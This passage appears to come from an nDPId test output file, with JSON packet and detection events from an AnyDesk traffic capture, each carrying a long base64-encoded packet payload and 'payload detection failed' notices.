RHHSi4EIteNTroKZWEkzMMysLd\/NMeFRBpasAVBvI6UHN87DcUgrKgo\/jVQR27fzIhp+vZ\/1FCSb64B9Tl+tet56oVGuO5cVHAVDLQG+aPG\/jtCqma6yEH2gb0ytmT\/qM6wH8j44a7XruD+\/XUz5J9Fl9KPNYF3mGfbM3tIhhLIPaK+rKjvfaTvbY9VXNdS81KjOdbV0j4q0Tz4kn\/3GwBaDexpNmv9i9gqHf9WKN9XY+RosKyU6qDzRQ+8sXTDFRN+G9eaq+zuqt0tVsCxd030HN5YuRW4Y+s5rTCquM0hNmAMe29gHqZaaC5K\/F+oegfgH9fv3Vfx9Q8Uyt\/jAHGqsE8LZUJQWkvrfwFlK7vn3y9rX4V0qOXRF5rmcpu0ekLEuYvmewE1XXWBC6aK\/PzWvBu1dnkVdwoFzcQwYwBKcwsZhwQIUMq+HbOF8zd2awziHyx6QDJNh9932LB58tRwbioX1JOvwgYLXAhCMetYXXgUFV46D8+aLJltL1PxVFLaqUu52b6UWSCPyv8ZxxaDNibYxTyRBR3IisQl8VAkxrlQIUVJppuYG4T0D7SOql\/h+hzvEvpu8jmcy1FbYKvUP3v\/KPmtUVIfjHNAp6M8vOdYJKok9ZQxOURlZX9ai423G3Alpn"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1212,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3362} +04650{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1213,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":885828,"pkt_caplen":3203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3203,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfRtAAIAGAADAqAG7wKgBstOUG56PI9wnWcQuRFAYIA6ExAAAFwMDDEhZ4hNO+msVz3ee4STojGDib7zLQP92JEswndBueZTyRMaJldYgI74tZiw29uIDH4hUFj5VcYscZRr6zv3roYrT6liqQIGsLJoTBdDmfxLUpDXh8M\/9wOwmcJmL2dVqD1g0VnKjMYaenDRzyKyDNr5D2\/lT\/zU2ccEfr7K9dksmf7xQHu4aVpIojGdoOSlnm2mTo8KlrWsU65fbPOW7bmV8jMdefst13fadAcEcnYqYK7j+V0RMkEyGYaE8tgyBrxGl3nT9Bn8P6cn8cttGQ\/jrl1eyI\/ZxRXim6p7t2IykXvlvsXACaGjUJ50lkZiUebfUikaaE3ne7SLSfrgvB9TyWV8NjrNMPIOKQB+eNm3frWJnpT1ZCJLXGTkm7EQO0JewbKRp37SYnTZRoidpMpUD1YxAUewCERi8sWY1TEwEPwf8UVCopg5AHSq9VAQ+f3DEtGJJBx9arKItQzPypMefAOC9bb7JCMH+aEGesG\/n0cEHcbez8UDlitRosnKI\/kYkB+xect29kdVONxDIRo9JZPMlI6QhVfkU8iJdLVHwgCJ\/JbJfs6Sqozhkr1wIIF64aaVz\/qTlZOvSQRfOw5b0Wx\/pE+MFOxMMwnKlSxeN6G79shy2c6e+g4KE1GFKNYJB\/P4qtpQJbRsLuV1GH6dtWR9CB71X6kyFvDNDHEa5jYYVLCv9UUYvE7uYY3OEGX\/1HKaQPkVGZz7r2IQ1iQWGNoqL5+SWDSKDz5t9uamLWyr7C9KyntwsX229Q9TIBinq3r+5ke470ROARsPqwzOjkWIuEk\/NvnESv\/5yyEwdetgA4JVjqUSjBkp9PjoQhzh0n1hyCBH4LEaxHc+tg6vVd7DCUB3MXRhsai7uznHIDr\/3Tj5emOxVsMj1ZnkDS\/h77uK+9Nsmryxza93mXA06wmsbrBNxcv1vuLhRcCLPw4jyqsvYj7wROQclY4B5xYKtaSFYB\/goeNuYAlMO1FNeQzDiTPHgcle2ecPH8o17ZO6mER8mlnn0jwlyg4SDDEq6ToDuFcrfCHsWoKO\/fu7DrOwwo7jTwlcWPSiXyizrnkcIHBlE+w7E65pcRZS5H7jt7\/AN3m83cmEpRF44G+gEXP6WyXxEDNIiY6oYf8CtVBa9jrNJLesB3ZGa4IHpjeDCAhMRp2oSltiReuH0UDmJZ2ujpoAa7cj3kvk17jei1SCnxZDN7X3wlXmtu+1wlsxIso+nDwZDHadeUytvkr7Dupi9JVOWjc3NLmVH\/KDcm9mcuTPsy1GmtkMXgGJgNPFLtM1\/M6ZC1sez5f6j\/W+Al9RzyXY1N2cOHGc9bpZaeVz1z+cmH1XfyWyk6MwjlKo\/vyjsFXguasuSYZ73ZfmnpNbGZZGAMOprHyQwaM95sQUqSAILErivzRbVY\/QCX5ZJ2S2cLHiucRhUQkaJ49\/yTv8hef4sFanPljIa5aLr\/2mFHQZDy+3ZRxZ7Jr4SEtaCYyZSBxYK\/ZWLbgVmVUyqx\/BsCNsbNtV8BSty6o4G0klUtEokC+o9AhL3dSni\/ZJnCPZ435u4PMikwbMr9gFyYTrK4D13rWr+gVMX2rVTbuI6luQjO2kZUGFwShJBkGeNjkT+nzMpKmYQnbP3O8UEQFp51Dam28g+Qj5poK6ajrppk9WKXBSSBfqixk6iVA0g88c27fJEv8ZLJVAwzxewPdm0sx4w0HLupWD8sFIiiUrcxXFqFWN+eVeBE0RLvUa\/gk5My4aUfOn+nRER2TkBtnUvU6KGqbXzT24O3N2aKRdBEyOGCNXji3tqEjtDVMGwHlKvC+czffXJlVn9\/9OTZVprAuZm\/s1Ou0H5xiQjVLW+vVdbGDDzdgDLpwOAu1T98bG6pgzJgzn9WW+QZvkzSCEFjT6\/gai8rgDef5VPDi6xJPGTyai0foMPNUY\/BfmYtHDMmZK+6N9ILTlldMLlcfYMBXeE1bDAeo1pGwcuNZzLrEdCHS6veoMxssCJ2wVr3dTheUDaSwpvG4MzZ9gPd3A7PqhDw8Qo3e\/KD2qBlt5nNZ+A6tSKg0XqVTgJCg6YYaKz\/7fDCEnyYNBFtj2dtiHxsJbWJsbeJwHrIDih5yRI59D+g17BPbGnsbzRWXoxl0xSeuAmwG26NHQXOl60NZ9S8GyH\/9OFFyaHOU03p728UH3ZHT3vf5zBOKIirrnPlBZt\/EjQEVxxZDaP\/8LbnZR64i\/vkFE\/Mn\/j29J9JWWXewxSBobod1N605QJe+aH2hgMsS8TjHQv2k2Zt9sCQE39d5iFFTzyoXHJNTXH391438OtB9QJstJ6kdUyZj1vUpod61LGR2svsi5GruPUnqEkDfCgmfWPe41NyYx+j3cbTvFxohtm\/CVmqXdKFpibGPFmsQCDOLeSpu44kThj\/ImWfsDtR29loJRXa\/7dZ6EQRTyPF2t65mwnHZalEh\/gqgkp1gupiU9Ea5mp+0mxlgkpaspzyZWDikHK4vmiKSn4O6iMy1kyPFcL9F0xD7a+tAvFkeH2rUDg3Cl4CXq0dA2p1Z6j27WQc6DH4QPVGws255In4XjGcIVCOjfBeMBvXNiwFSvViHJLkv+rfifo34LVurB+gjP3I2XzZphV\/y+Ekr6P8BBUWKw0fHBhCUx7eCNHxiJ8U7IOPwRbOxlY7Zlpt767OD5uGXYTRgAM3bJI\/iK+QrHdjLXhkFA1ys2doS+ng0lUfyUHUyBcg7E61xtqUljfxN7+rDcNfRa5Ja2ObOzCZ9CaH76NZqbpqpcsyynLXwCjJoF4nXeqcAjfWQbyr+fel7eUHdgYeNvHpzQf5ZsdT+S14WD8pyX113zoJGaOt2t7Zz5YhsKnlCwzdqPVsyhmbAGjlSGcuDjwfFuWSmu2ojHxyydV5PBFFO7Y\/HTkPwYUsirKqSNUg3x7sobgmVq94EtyGQn2WflWmnZi1dj6jmiTBIVDH+S5Z8a+uDd5a\/iA3hKCZILwYu21E0vLz5\/YIaxrWpxUFgJPakmdPSBcDAECH9EeIT5elV16z3108MGtBjwylsoYBfbUKVNi9RyU8mIK959dOiVgMUgU2LzhqEyecxHOrjaMpbedAnKDLR3NPh\/t\/aCW\/A1oEtp6gt0iXcFLFj3aKAQ69knPbxcW6xujr64IVIS1lAseUhWYP7x9ISlzsIm7BnQnu3deqFugSH0deeKgo4jhY4plr1gLiTCNKHwLUlB1I2WePDn7sHaQKwUJRuiEK9nQiNZ2L4oWNuXxZ01YteUHVptQCRrzZM+v3zKCrvN85QuvP49CezazFVt6KpX6ULsv\/R9OcfKBd7MHaQD7\/6HaiLoxcwyR03NtcSQ14EBYTKwfBVaXOH2OUGpEW0SiYZWIUDdH+RkUal5X4FeGTieMi2vY9rQZW9czKq1VVg34LQ4jUSpo4nRL0fo2QX\/w2W+NPoEFPyaVQ26NnHm9zMoDcrRmOrZACu8SMb7MHPucVW1yu35ZLJCAR\/k77ICtMiRExASlQWL4J5gdwgTzMfCZPRaAmL4nfEc6goKQ41KukwpRMsJEmZw6yUpJSrM6zaLbxeQuKTfgY+X9TaPPKriVaX2k0lK0mANQVHrn1rA\/5\/VQeTqKWg2LnYTTZ2cx7F1lY6XUSzmZON+NIh\/PPmiFC0rLDiCqcl7SUfQ1m1ViQn5nDt6AVqCRqzIS\/grw8tFBep2HoC0K76COMI4zW+o9s\/F3eoSTUNTq5UymoJPoKTGCpt4fm4VWXHdN7ckrV1Z1n\/MYFwPZcYUMLsaDJpMektghp\/kRqd86x\/VN6ngagKbY7w21SDCLvuguo2suEWiXTGHfMDU90SHOxouQjFhIRSYFhqGAWvSHCuEnU\/4tUl3nUAGEmCqEZ4kEqPARflKXAx0jIZIGIo4Wup555xrt1umBK0cUGqJHlSG40puOM33bgCe7eDsWV29tEUNh3wy\/0jbiPk2+87N8zxIqRsib0+wMjWOTcFvRaUFf7cTJF+iQGgDe54MLZP2cjqB7qtxwo+QYE847xOj4KghH4\/zekz9YyCdlsGGJ+o8J2Hy6UapnSsNbeUgh7KctXiYc9w9yf+iCwPfL9XKb\/3hmZge0+00AqJ7JV9P1+BojQnqblcD5LHRBdMc7nMkt0eywCOsA\/aulQoo16DMzqDVVWXwv\/XFUA+jr0lvynQLVI\/aQsigsz4ZVkCT8AbLIYpj+Tei0ROZs2zqSRoo="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1213,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3169} +07817{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1217,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":886639,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfR5AAIAGAADAqAG7wKgBstOUG56PI+h0WcQuRFAYIA6ExAAAFwMDFXlZ4hNO+msV0P9MJTNwEZGegrD7mmice6+vP8jCvpUVz\/hXFAoJL7aWQ8O2wff6\/JYVB0nNs9KeQUIN2g7ZOHrCfEm2g5cUi06xz+rl2ur6o1ltItpPGTTeGbMJt0aFBBOVAX5iekyrTp\/4n6UJhDk+xlMGOYw8\/eTbo772aMqnZdbmJD0sJpVV5gbbzmUvdml0uEeJpNGf1DDts7ml9eOBESbmWfXDJ0Yc19bACwwfFu9eZIdd2S0adE31h66owSui\/JFFHop0SlPrnibV7tVGotzAgO1WqjOdnziUprjP9nsYS3b2mUmlOOcPF9yLaYP4wq6gBR+sVHq8lExzsm5BMx8p7TMf2z2lGuXjxRJYwPbRtAfmCsccGmNuJX01wjAeHGQwDigKu1eBj3+upYcH4T6kOkYU3gbk5Rz1dSLHwEtrQv5pGHiBasyZW2+wpYR2tiCFJLm2a\/TFRNi8+qWfM9IVcwfMVycxV+CDlWVCexPSY8s8PIc6HKlKtm2PsraqnD3LbSjQIhsECUrFYxspitd9VCSg+dLgdbPYhXKCGH68PboZMigmiGXZBs6jmly4ipJwDDKwCQuyP0\/Uqx6D1buzsI\/veXEZPrkWvfNiXZEG7jeX\/o8eSgHha3uHVlFYkTpYuonmEIqgyQ6iCvw7fbRXwfuQSlNwz5\/Lfi+YoQRS6PSsuUADjoO6IDo14\/WKa9Ch6\/XNCIeBg1KWdwEacDCCW6+GXBJFpXiuoi2NSH8oWQ6P2TOFiNEdu9DnoVVYTn5HugrXOncYGrRyoVvtoY6yHC1RSci4epf7iYs973U0swlH9OGVLoDx8inwB0Hb1\/5OXnWjaq37y\/GI2AdL\/MaKSn8KXhokRpe2TT5TLVyNjQlsZj1KYe3VjsIIEs4gHHEEl5tFDi\/IKHcKbO3A36Wyd3T4\/Hlq8DTxOaJW3NFguba6fCfSaTlmEXSd1zWzb4d1v6HBgwS527V3FZEQa+BqeHTto50308OaCqwBxPchLRmw+XmEWszZrA5GV1D2uN\/3zZN3KLf5qbzeALuC\/kN5g3yWq3rqHyUnas1j2qPkfs9Ttsez+9C8+Ff\/gfMGvvOmwLkV3C2Gj7x0G1sL8bZabF51W8y70ItvM+rWinE8qisQrvrtBe21sbAfaqBmhnn6NTC4IOe8tkafWC+4iteGU6FaQTha45ix1RFbRpi33VI1Ux1uD7JbGao95xxeOLOAl9\/sl1mx9VbJ3XgyAkSbaq6RHrTZsfBPeI\/XNroCbCd7H0HUY9jgyAqT8hqMxxvmIiOnyiRDFQjlYKCOIw6SCfkras4NDWdP8kME+FPmA961D1yhBJeNQhmOugIyZY8ZqPL4D5C25T7zFoBwmPFT3LC5XPMrCTfQkSAFIU0vWcQ9pdq8pIEqu61Vdv9G9htFJFkWN8C20n7YArZ9BBJ1UkzyfPGPRClHEs4+YVoql9UcMUxO2b38LfZwY+mNA5Vz9x2wsT3LLaEg8ARnZu5yp9J2SmGSyhl29BP0AIHZbjd7i4fwhNXyJMNShMUdLG9jeHJ6AWdjI8VleL7+ngNe8REFyLbLle33b\/SdKRpv\/z1v96wunxUG7tkEN\/YovSgbxIigSPoLbkasvPkbaKNRTaLKo1gURggeKP0nuqjTo5Sn52bo3D22lpB6kzsVGNjC7aX9bje0pJMhHJu4wflo+pqNsBg\/SyL9WuWsGV1Ecjb3sG5oGdNcnTzmTBbejlJxiSKTwfqJ\/smJK6YMYEpg7Wt9d\/7nwdLDivDY+\/U6ehW5inmImRVl9wd7dCyt7nIpExOMF3XgQ80oEmRlHqcXBry\/WBPMhab39onbm8Y6dpkP5nnWRO5qe2+z5JG3N9EUH5ki8JRf5I6dx5BI8fdv3JjVTZWg2gmHug1nSF2LbE8UJrIUD3CgB4gG+N2JUdGrYX4QdLpZep418PwU4OrKkYCoDDg3bKt08Lmj5ltgaqcIeDZ7sKPRlSCYBv7aCOMegLKyVJ7ePPQku7JdXQNgSzZfB8G6A4Rx2xMcIyXvmQ\/Q558skmM\/qBYof5w7W7kpQCrro8184liYkEAmzZkI2oDRGoi1RT5mRn2s4xBhQcXUQ+1pfYccoLKF2U\/w62fcv\/QHUTvQ+fA+jsknCl0puqPiZ23yk2ZRC8WiPOMRBhcCKHupSn5OjZbzqw3H3r8IeNDAf0BD0hPlheWLFec\/ZSBP5khUWECKBGeo1vfUmDeMSUdBvAWwr4jojMDCYzEM3CsgxJdM7oUvyUDbus2P6FleL16kSNM21t6hips0HPiuLD9U\/8j5ihGoIH8mTkGcLbh5ITyzQ1gjfKBw+ngq5kcraf96qumc2QLWomlbg0drzrEEheyGwmQYVVXTG2NojlM32N\/mkf3MmEZyU5H5qL+kcBn0usS6FCD2HJQTw0y+lAIwhV6lyU4yIEsgEA6a0L1waSWABfl2gA5QU7oexJG0Orj5zTing4YzrbE9DyCqmFqAHyxCRlJtZiQPMgwl4U0I\/x6Ne3aG4kIwD8bmSbSux7nN\/rGezDzVbuA0wya\/1jNdo699rmwee3HayVV2fOdedAEHbDie2MVsq8HGugHVLZ8MWUkUxoHQkGNzkusskbVHdrwtakOfs8O9FlCEYBMRV5WeN4Y7gmrHhTjT9knPbVY9oHIoiuyyuAJHNQNNqcdDqYk8Rllx9+yGsslXqa9KSvghINH4EuCHwjta0v4fJE8wZ9FpM+MRI4cwpuSfQKjER9lWSLCFJDKxrKuJDZTXJtKllZ3kWAnP4H3MPFrjRgWLv0Vdv+0ZO7+m5+5CNPKHJS7I9EProIO4UCwbbajBND3PPpMZBR6oZ\/MkjuSPNzEuhs1OGYvQ2lMIKeucEWGFgECH7qY0is0a3TqqVGNkO5FV\/3HE9YcQ8bZhEYZV+epYhJQPJJH0fQD7dDyfCuYapb2\/r6DBUNnXqDMsULjTCrT2EwimGTtTXT\/+sUQJRAOAtm7jjL7HipQ1uypiHsA8X1MoP8N\/vNvrVSpMXbvjXjHeT1UGDgNwuESZtqrwz1hVUgKwzhHnPuNMAZLls4uoFB5EUhMZrI+nsbmgjU\/c4MkfwsaX2BeZlg1HVy3ifMsWQH2NtD6Ty0dLBMrfy\/YMpunybByuiD0VxOZwZpHfdnfdf4LU1CO7cO64KZ7zqAgj5r+oLGkd3K2SzoC1TcOFSb\/dDa5H0tEq24zLfVQaOhwm1lpWO76PT16khxZaV+0zeGHRPNF2MS2CaA\/jbsgwXbH8O+R0CBJYfw760rm\/CHOBDf2UCSt5ZA73H5UKkckCUefj0U0RjvVEP1V9U9PiS3VT+Mz6IWtgyD0am0qSZT2bZ15Wy53kh8M\/R1fxOeDs4Ty+ZlhdRZq3HcZk49eHK4cX7CssJOfvdr0ISfdl8VDJdbPaDuogdvWYCsej\/5c3ZjvyHxxkmEHeDxaUNOdwRv0oS8P1KIPEW0PXAFbhmeQOX2VvwKps2gUFWZ9ZcT6p8vC+I2Zv3xJm6MMbNsl9w5MeUwIShQ0EpA706f\/dOiIx4Vv1nljvL5Ydj6e4LAt7QjlHIics7vFUW\/aAS8mEniEt8R+7ivZrzBTh6ym1UCRJvkPTBj9yLXGMg4mFbjmrCfMiWdF1S6DHhvFZHsCrqP94DiJge1wGbVVZah03nFWHbZ+h13N4wuwnv+LTBR4fZZFvG+jOYMyMqLLWWkaCoTLUr1yj9P8JdGqWGSpgS5JWd1fpsEx9gIA5IKuJCD3DpHUBUpmEm4tTDUi3\/C36BwQ0Akt76LW9t9XRFY61dmtQCQO49\/aZ4rQ8MEvyR73n0O9YyCUEqPCuvTNfZDmse7F6Rt5fev3FTlvZbK4WsfN7UgkVMMg21D8sRfquvBwjpwYZcaNMO2H5mY1bKMNVK2flJqqaYgt7crki3J5nypWVJHORfzidgX6G0nv9zY9rIzOLgGlHQ6TXwL723JL7MDrqLEGkxYvxTCgG8MTlwRz9+IuA3C9qHZA2rZYqoEiQEh0Vk5jPJOPA0VZH7GD1A0YefDxaYtVZ\/uYK\/XnQdB4FMk7uvMmmQqMSffNJJnZw3DXDa6MPU6eNsINNChmtmuuu5u577sNzy5967hVzHg6nF8IXQ4jI3+0KjQbnlfuxA1Yz1mOo4lDlHHW7lN8XWy4Z0m+gw\/MGwu4HxQVOH6X3MZAUpJfGxqWfLM6Kewo00WmCqzG6L91vPlOd6viGRl\/BKhs+Zg2A6gSHXR5c2lxsynbBK0lQGjyKO9NMHkoituz2vvbkQ3ql4Dyn8Vm8XvxJ49o+\/PwC9aAK8COxBr81JadzO4tLYbFFa6+jrG7Lzz+c9JriJxpuGTyfRoCCQ8HCE3pbQKji6Z8qfA7f78t6GxnyRRwPK3PGSSmfJ6jCujeIVWCEVVjsw57x2SOH22u9cpkLSemqg599Rfo9OaU6mOw57C3khQCz6ii\/ANeOL5smFFpEDTlJ2x8vOIjF1CDSbaTGyC2Nusa3ZGJOWJ8D5qe23IQ+rgLeVWSIdemLgpUTMuJeZ9gOl6xj9\/ZOpPkZ4QIebmwW\/XHLAiyKxZuZBpbVhvZuEgUT38d0Geh+fUJzeXmB4sEak03qWnwdgZiFzg+E4mJ1ArJyVgkFm68DZ25hlyt3MgQAH6IvdXCbCfycYoQISOGK5kaqrS088\/j9H4FVIsDgJOaNfqpQMH4nSmeBB69DlQJgGRdJTtioSFqBr1y\/fGunjJCeMW32Zs51ctBzUYvu3irs6xrrvQzEUEIea9qKUl9aheaaDJDOl4desAndIiKjWCj\/zM3K4KLFy85y7rUKGEQWdHRiB\/j4L6LTx+wLT8Uvj9txkdZPVjFvcs5q2gCSgx\/l+Dpg7gAWwU6wgXex8sKyRGqKcjdnKFjTycGqaQEJFrQe\/F0O6NQAOWBrUAlQeW9Tq+oHvf6F7uycrKNpmJvUHCVAgwQvuXwCvObdLrp0zjS0YEInmHLj6Y3ycax+cWcNH\/6HIIjKfNRmYOgNqvvh9PU\/pS52IxpPJIDv4o7lWh\/5WSGYp0vYWHx96xEdEDK0SrLm+wydVDw02W0a\/dk9WPxjuEa6jPS8POZUWqJXcP6SMLcAOXc8CMrjEzucu3biz3RtfgQtJS5OnTi1S9LcrWFoWiq4FJfrkVvvcFTRM24t1I21AbhTZ\/tSGScEQZycqM1ztKurbQpUPlNhoofMvOBu98QqjKbXgK8sIMj+s+JgODUEJ\/eLjYaYVUPrKkyb7zEl+djkVpAfxQ8X5eSZc9uz+zJrV9ve4WdztNFwvgwoLTrW79oOdDtQrOwiwSgEPNuUPS6ScVpBEvYt6irDM+I\/evewVweSbnKcJirFkSmVx3lpuh4qgBtdjomcA6iIEJrm6gO0XL33av0QI7\/R2m+DLlGqch66hziF+gYyawwI5Y5fwV6kh\/DH2qaGyV3YXDl+NSOrDkrbqhGOR4MIujfgznawyjLrpZYtmVabKSKqWfl82JC8ABX7dUOWHISI7XvJQMvc1UDmax3lLmay8eQ7unPP5lfd7Y9oO\/l8ukrCSUl5yyjjkDV6d+ru3y58iA2TM\/MqfvmdRlw9t3cEZCwpFzZGioVlfrKuDRFw\/rdSoPNUOASYOZbxEJ+Q1Ttir1TmN4SgWE1cZAM2+E1c9y9OgArESvygFlO8IXEmOQTIIHYT84KIk0WsYHF7g1JFr+\/aMWj9c7ewJlO1l5wFG23OpQerlnkLiLEis2LEOi2a1sLNs0UO5isNJkq8VJL2hz62smgzmhD8CQpvKJOI\/aTPvZyPKvsFR0NJ\/SvXxJg6i32xm\/WarSRLEftg2wX6UDvHHx7CNK8LOuR91vDW6ARVW9nWIizzOt64M\/AZZc0zNmKm2EHJ31y4bOxRKwxvEgshyy5xVNNQXsbl7EtfnjmbCSvuSEUb73GqhZxS06A5GdL+PE0di6B6NQWstdgavU98PvuvNMMCwqUK\/2+eXkRDlnHumFvKaacM7m7aqRYumoziY4lIPH12t\/SexJx3Fq58UsMcnhRrwWqNb3po3Ua4fFkn1IRRS6K3E3b0ECejPYv9Ry1x55pyi1AgGj99Q0ZUwCBTyxViPZ3qWZ1TpEGP2ETO\/xtABKvfrI2klah3rQ3UMI4rwzUgV26FcusuE2PQiLD8DtaEHlXLE2bSgoK9qidahHQddEgYWafTSSkGxC8EExRuLwiLZxubEZL\/Cxm+mIkyIGRcc1rhreK2diyWdpQm58AjLJlmaExVqaw4EEaVXW+9WO57lC6avECLInRgmONd3w1qCED8j0tZskgbvGKZjMRcerBx4cdEjIEs1LAWjoll47x754yeDHj5QwHa7ZyTIQRubDf+QlNsPZqJU8TVfEaI1nNZCqYoKSR3X5KKye8ASZOTp8azCqKdWzgHFWchFMGTQ3o4FLKk0DhefKSMbFuqGgfqYX9O96ZleurjDNFWATmK7MUGUK8uKA3nZeP7leIf4SW3adjNJleCZ\/soNNjWOWpXhkeyFbN8M7OLfSeojgqBvO4wv6E4OGNMRdoxzPkIfQaHYERQuzhv6I9aQ9ub4lNILwUbqZr0+CxYvXjqXuiyQb6ejOoCYEn6j6vp3NzjKtsNJHXv6yv8hEO93GQwqAbfD40awbeQkv9bAKSQnNCwgYVHTzLWBHTfyUMAeRj95wVoFqYCHZyeeUwTmdYmD1ysJduwJ9TMTmKzyv9zsylUcYWTCK9E1e6Suh1BpO3icJlDBfBr4\/Fco8PdVnXWZuxfNpWHiT2XyH6K9oyVQEo7SYOmYWzUbK3ld6KGGGzYyvTA6q4Ou+Xdq4tAkcJ3y+q79leGYeI2ludLjfCpOiZLiaE4tZ1x36EPBTjawwo0Ch65g9PxN3bslpdf1lqMr7R2pual38GYuut5zBSfQcNL7AQosZFjCwYcg08tkWHsw1YhZZipTd+w4Pie7kSjoP4rR\/N6rSDJAjhb5XxYC+ow5EDfuOzolgC\/xdXtyVb0lPzhiIrd6vrwQLeiU1zLlOjsh9o98frZSluYn1pDi\/vL8zaUOZA41dVmsVBwmR47EpCeh0woOylKZ\/Az6tfSO09tFeqk4KgoPfeDVcXcm34\/IviIPQEsSQH2FkQJ3WXsjtHddmHnHYR3Ozkv3MejRCoSgL1cYgVUsgLlDuSj5vAEsIrPOs+CqlgiQiXcMgewxGxa\/3lW83Eolz6z1fTN\/mQYYJ6kf8H6L2NPBQ+K3x8J1lExgxy8v7EMmXDLVpXmiXObJjGAf\/K5mS5i\/c7mp6HBZ4ZManTdmAhOMngvQhl4Khl1d1sZjkJnWxSOqBbjqWaYYs5C0vFkuhtUqm0MLZF\/7Xz\/glMVzK2b"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1217,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +03033{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1218,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":886667,"pkt_caplen":2014,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2014,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfSJAAIAGAADAqAG7wKgBstOUG56PI\/3yWcQuRFAYIA6ExAAAFwMDB6NZ4hNO+msV0Ss3GNQUXFl+d9n18J+nkSXVmx70x0aOSh2yj\/vDM0UcJBFK1HWRb8qx9kR14KaZUIj7+VoRzJTrDCFnzsde34mj73XPzwZQLIQFQCk9xJlPxLJGLkRhUFFAMLJecMJX1EZyAPhXVkk3o9HBegdImkVTVjSYrUL7DkHzxsdiUyR+KYT1vje\/aOv5lVNoabBkAdxrEi1mvPzkhK5sRISHuzyMkQpbAAIO2c9mb6kWaX9kNCgcuvQq8V00BcDillvDwiv5CSUOfWSHOrpwTTnGxvU9S4Ov5InqonlwoapkNFIp14k4k\/a6zlKwnRiF2DrCWXprOoahQNJe1tCu6wandicANkGKKL\/ymjTTy+CIp+nZvrMZM14AoXbXS7xAFDXl\/LOlRH66W34XtRJXOyIbRX+U6av26d4wSVWyjME2KS4i20F2XsMV9CaCi7VQmd+zg7Ng5oTchC+OK9IrkWSh\/MhXRourw\/Y3jEymmYn5zWcZoITyEadx8\/w4VnogGjWTSVzLjKYxpaZxVLnd6TlOmpO+CV6MwdQG18IBP692CJI0X66gjq+LCy6lXLLRkrp0BzaPsQz8wCzI8wn1Mtnn3CbKOzWgqPRw3SEU8KC\/0Cgw0kaOwbxOdJuawLkE8OahHTEmcmMjV9QH7MDE+HGGdA5UwVZdFfT\/cMrVsZ6vwHEK3rfTJOWqJParxC\/9biZN8hREiPZaoCAfjAz9xP6bonlZfbpKK3z5e4MacPb6RK710+sABPutmNOHxkOZBcC4Ya3VP0onG5pSW5AOAI6kGjffYEKk1n3wVkbvBhb\/D\/wFIXmu0kw6DoqwmsUMPwQ20BrYF74So1MLiJGj1MKc1Uq4Khr9a5QBrwCMTPoJAf+Tjla8MPNc7VWuHDm46hT6tRyRXQH7iE+GxiTWR0\/ijE3wOr+fhflpewrMe9fpy8HP29Hjhjv6CgeSTfcmKg4bZZm1c7130A2OfFvJU5cOcGez8WJrEUFgwRABwtIsmA2j0kbokyDcD+lGUnPQRgjp+kfSSfkHVn4ocar5sDqZzU5MsoE7VmpO6eW4IR\/ERVjRNhyFiDiLVcTFleAnPbfLPKTBqW6NF+twrppbAWjFvbRqWNMKSLFpE\/HJZDmn5G4E7e9ZILefTPs6OOvKdAGvhBYBynxBq0oNpYsI7pXvT+pEW4hD97OEMncO4cYUm98RDCwOzgjvAsOs2SmJlfB\/aeUSDvCqGmM2SYSbBnlWAM8aARuHqbV6Fx+JgRnbr20Bw0bkMAIQO5TLFfg6Iws41Hxb3ZwOUYp0zL7NlNDUGgO8dERnu3G0yna1O0UO9OnoTc5zdQ4KjTqGUDSPFcSRJND8qpsWMb8rvOM7K3CTpEmhvtt3mNz4Dm6mbfq8HCDctQcFNU2kIwfbtg2to5OK1MiUz0Eqv4DLEnVc6W4GsKTz+iwQJzG3B5q68cmav4SFZMI7N\/kQjZfNi5TWk1OAhlXl1iUVnakPhhXKkVJ1kLsp5+g7uyS6qXEdsa2IXLLYwZEzb4Xg1f0FUosrwdtEZOKMpqWxy2AoSdq9cYbKfhPyZphx0gA7AmfuwLH\/ZYrnn4e\/SmAKE0DTWw\/SETAqGk9unCbP0DVo\/q9TWqSViSvOM31cwF501RSHa2GzkZEofHbzH3cHnsNNJ7UwucWaOHy16uc35Bv5oY\/+s1z7KmMB4TBdChl0xsELwxlJJWePmTicBnYdtMfoEaIdoVMruqKDt\/LkZYgfIyKpzNqhTAGKW8Mv28PBCdYVeZuf\/81LhDIJgV0xu1yF6s0j48RJBQ3opnlgCFPU\/G3xEmwl8q0M\/vYXgpA2k8cWnhHQRv41lzveBCoCUKQlmwigu2OCUodaYyoW9pfSJ8qHMcDyKNMABS\/LjWBehZAV5htaaW9JF\/pGuK2iLTBC7RVHtvkXsx3UjHUakffJC8n+Y\/ufihAk9hlnrtjGalMZ\/WXmGmI0T2cIO2Hif\/d71XBNFkU422l1t0Ef+alzsvS9g7abnM\/6bGb\/sUgy2DxdTlJHBWWrzSFuMrDhDyEB\/hf+WxC8KhEXFQiNpDL7ZZs40D5LupZc0+4O75UwWT5ivuswMNpmPf1JDd0xJGtjb9u0Rj8g2ZyOqLSn9955Jo0XGNvOOwUYhjGNNmQ3EHjLV9loddpv+fuu0ddEyrQKpmhkkZ+EjyZovYhVMliYVAvpABWMe3eciaQITPmbd1Jo4PbuEm3n+